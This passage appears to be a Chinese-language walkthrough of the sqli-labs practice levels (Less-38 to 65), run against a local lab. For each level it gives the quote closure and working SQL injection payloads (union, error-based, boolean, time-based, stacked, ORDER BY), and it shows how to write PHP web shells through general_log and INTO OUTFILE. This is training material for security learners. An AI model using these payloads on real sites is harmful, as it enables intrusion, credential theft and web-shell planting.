| Variable_name | Value |
+------------------+----------------------------------------------------------------+
| general_log | ON |
| general_log_file | /Users/littlechieh6/Documents/project/sqli-labs-php7/shell.php |
+------------------+----------------------------------------------------------------+
2 rows in set (0.00 sec)
尝试 Getshell(运行的 sql 语句会被保存到我刚填写的日志路径,日志路径又在 web 路径之下,故可以得到 web shell)
?id=1';select '';
具体细节搜索:supersqli 题解(攻防世界的题目)。
闭合方式:id=$id
同38,闭合方式不同
# 测试payload
?id=1 and sleep(3)--+
闭合方式:id=('$id')
同38,闭合方式不同
# 测试
?id=1')--+
?id=1') and sleep(3)--+
闭合方式:id=$id
拼接方式和 Less-39 一样。因为少了报错输出,所以这里不能报错注入,其他注入方式一样
# 测试
?id=1--+
?id=1 and sleep(3)--+
漏洞利用点:
# 测试(url:http://localhost:4000/Less-42/login.php)
login_user=admin&login_password=1' or 1#&mysubmit=Login
# union注入
login_user=admin&login_password=1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3#&mysubmit=Login
闭合方式:username=('$username')
和 Less-42 的利用方式一致,这里只是拼接方式不一样而已
# 测试(url:http://localhost:4000/Less-43/login.php)
login_user=admin&login_password=1') or 1#
闭合方式:username='$username'
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
# 测试
login_user=admin&login_password=admin' #
login_user=admin&login_password=admin' and sleep(3) #
闭合方式:username=('$username')
和 Less-44 的利用方式一致,这里只是拼接方式不一样而已
# 测试
login_user=admin&login_password=admin') #
login_user=admin&login_password=admin') and sleep(3)#
闭合方式:ORDER BY $id
关键词:order by注入
验证方式
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc
# rand() 验证
?sort=rand(true)
?sort=rand(false)
# 延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
报错注入
# 报错1
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# 报错2
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
布尔注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
延时注入
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
查询结果导入文件
?sort=1 into outfile "/var/www/html/less46.txt"
导入文件写入shell
?sort=1 into outfile "/Users/littlechieh6/Documents/project/sqli-labs-php7/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
写入的内容如下
1 Dumb Dumb2 Angelina Dumb3 Dummy Dumb4 secure Dumb5 stupid Dumb6 superman Dumb7 batman Dumb8 admin admin9 admin1 Dumb10 admin2 Dumb11 admin3 Dumb12 dhakkan Dumb14 admin4 Dumb15 admin'# admin16 hello world
闭合方式:ORDER BY '$id'
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。
# 验证
?sort=1' or sleep(3)--+
?sort=0' or sleep(3)--+
由于短路现象,前一个不会发生延时,后一个有明显的延时。
报错注入
?sort=0' or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
闭合方式:order by $id
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以
# 测试:
?sort=1
?sort=1--+
?sort=1 or sleep(3)--+ # 无延时
?sort=0 or sleep(3)--+ # 有延时
闭合方式:ORDER BY '$id'
和 Less-47
相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile
也可以
# 测试
?sort=1 # 正常排序
?sort=1--+ # 正常排序
?sort=1 or sleep(3)--+ # 无延时
?sort=0 or sleep(3)--+ # 无延时
# 说明闭合方式不是 order by $id
?sort=1' # 不正常排序
?sort=1'--+ # 正常排序
?sort=0' or sleep(3)--+ # 有延时
?sort=1' or sleep(3)--+ # 无延时
闭合方式:ORDER BY $id
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。
关键代码:
$sql="SELECT * FROM users ORDER BY $id";
# 堆叠注入
mysqli_multi_query($con1, $sql)
# 打印错误
print_r(mysqli_error($con1));
尝试注入
# 测试
?sort=0 or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
# XPATH syntax error: '~security~'
闭合方式:ORDER BY '$id'
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。
?sort=1 # 正常排序
?sort=1--+ # 正常排序('1--+'被强制类型转换为1)
?sort=1' # 报错,order by '1''
?sort=1'--+ # 正常排序(order by '1'-- ')
# 报错注入
?sort=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
闭合方式:ORDER BY $id
和 Less-50 是一样的,只是少了报错注入的利用方式。
?sort=1 # 正常回显
?sort=1--+ # 正常回显
?sort=1' # 不显示(order by 1',出错但是没有显示报错信息)
?sort=1'--+ # 不显示(order by 1'--+,出错但是没有显示报错信息)
# 验证
?sort=0 or sleep(3)--+
# 有明显延时
# 布尔注入
?sort=rand(left(database(),1)>'s')
?sort=rand(left(database(),1)>'r')
闭合方式:ORDER BY '$id'
和 Less-51 是一样的,只是少了报错注入的利用方式。
?sort=1 # 正常回显
?sort=1--+ # 正常回显
?sort=1' # 不显示
?sort=1'--+ # 正常显示
# 验证
?sort=1' or sleep(3)--+ # 无延时
?sort=0' or sleep(3)--+ # 有明显延时
闭合方式:id='$id'
判断闭合方式
?id=1'--+
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
查看回显的字段
?id=-1' union select 1,2,3 --+
查询表名
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
查询结果为HLBSTFO6HB
,结果不唯一
查询列名(记得修改表名为上面的查询结果)
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x484c425354464f364842)--+
列名为:id、secret_XBJJ、sessid、tryy
查询表中的数据(修改字段名、表名)
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_XBJJ)+FROM+HLBSTFO6HB)--+
最后查到key值为:kRTCQUzl170VXBxrCqlTWuyZ
闭合方式:id=($id)
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化。
# 验证
?id=1) --+
# 查询表名
?id=-1) union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
# P0ULLTHD09
# 查询字段名
?id=-1) union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='P0ULLTHD09')--+
# id、sessid、secret_0SEC、tryy
# 查询key值
?id=-1) union select 1,2,(SELECT+GROUP_CONCAT(secret_0SEC)+FROM+P0ULLTHD09)--+
# hSoUfCvuUNHhjG8CQInhuVv2
闭合方式:id=('$id')
闭合方式不同。
# 查询表名
?id=-1') union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
闭合方式:id=('$id')
闭合方式不同。
# 查询表名
?id=-1" union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
闭合方式:id='$id'
uname 和 pass 都只输出数组中的结果,union 查询无法回显。
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
但是可以输出报错信息,可以尝试进行报错注入
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(secret_OD68 )+AS+CHAR),0x7e))+FROM+WOO6ID239T+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
闭合方式:id=$id
# 猜测闭合方式
?id=1 # 正常显示
?id=1--+ # 正常显示
?id=1' # 报错
?id=1'--+ # 报错
# 验证
?id=0 or sleep(3) --+ # 有明显延时
?id=1 or sleep(3) --+ # 无延时
# 报错注入
?id=0 or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
闭合方式:id=("$id")
# 猜测闭合方式
?id=1 # 正常显示(强制类型转化为1)
?id=1--+ # 正常显示(强制类型转化为1)
?id=1' # 正常显示(强制类型转化为1)
?id=1'--+ # 正常显示(强制类型转化为1)
?id=1" # 报错,并能看到需要添加括号。
?id=1") --+ # 正常显示
# 报错注入
?id=0") or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
闭合方式:id=(('$id'))
# 猜测闭合方式(自己手动多次后,可以考虑采用Burp Suite+字典进行测试)
?id=1' # 报错,并且看到需要添加双层括号
?id=1')) --+ # 正常显示
# 报错注入
?id=0')) or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
闭合方式:id=('$id')
不能报错注入
# 猜测闭合方式(在猜测时,最好列举一个比较全面的闭合方式来猜测)
?id=1 # 正常显示
?id=1' # 报错(显示
?id=1')--+ # 正常显示
# 验证
?id=0') or sleep(3)--+
# 布尔注入
?id=0') or if(left(database(), 1)='s', 1, 0)--+ # 不显示
?id=0') or if(left(database(), 1)='c', 1, 0)--+ # 正常显示
?id=0') or if(left(database(), 2)='ch', 1, 0)--+ # 正常显示
# 延时注入
?id=0') or if(left(database(), 1)='s', sleep(3), 0)--+ # 不显示
?id=0') or if(left(database(), 1)='c', sleep(3), 0)--+ # 明显延时
?id=0') or if(left(database(), 2)='ch', sleep(3), 0)--+ # 明显延时
闭合方式:id='$id'
类似less-62
# 猜测闭合方式
?id=1 # 正常显示
?id=1' # 报错
?id=1'--+ # 正常显示
# 验证
?id=0' or sleep(3)--+
# 布尔注入
?id=0' or if(left(database(), 1)='s', 1, 0)--+ # 不显示
?id=0' or if(left(database(), 1)='c', 1, 0)--+ # 正常显示
?id=0' or if(left(database(), 2)='ch', 1, 0)--+ # 正常显示
闭合方式:id=(($id))
类似less-62
# 验证
?id=0)) or sleep(3)--+ # 明显延时
闭合方式:id=("$id")
类似less-62
# 验证
?id=0") or sleep(3)--+ # 明显延时
幕布地址:https://share.mubu.com/doc/qV0gisrYy6
文章已经同步到 Github 项目中,更好的阅读体验或者需要下载文章,请前往我的项目:blog-article
参考教程: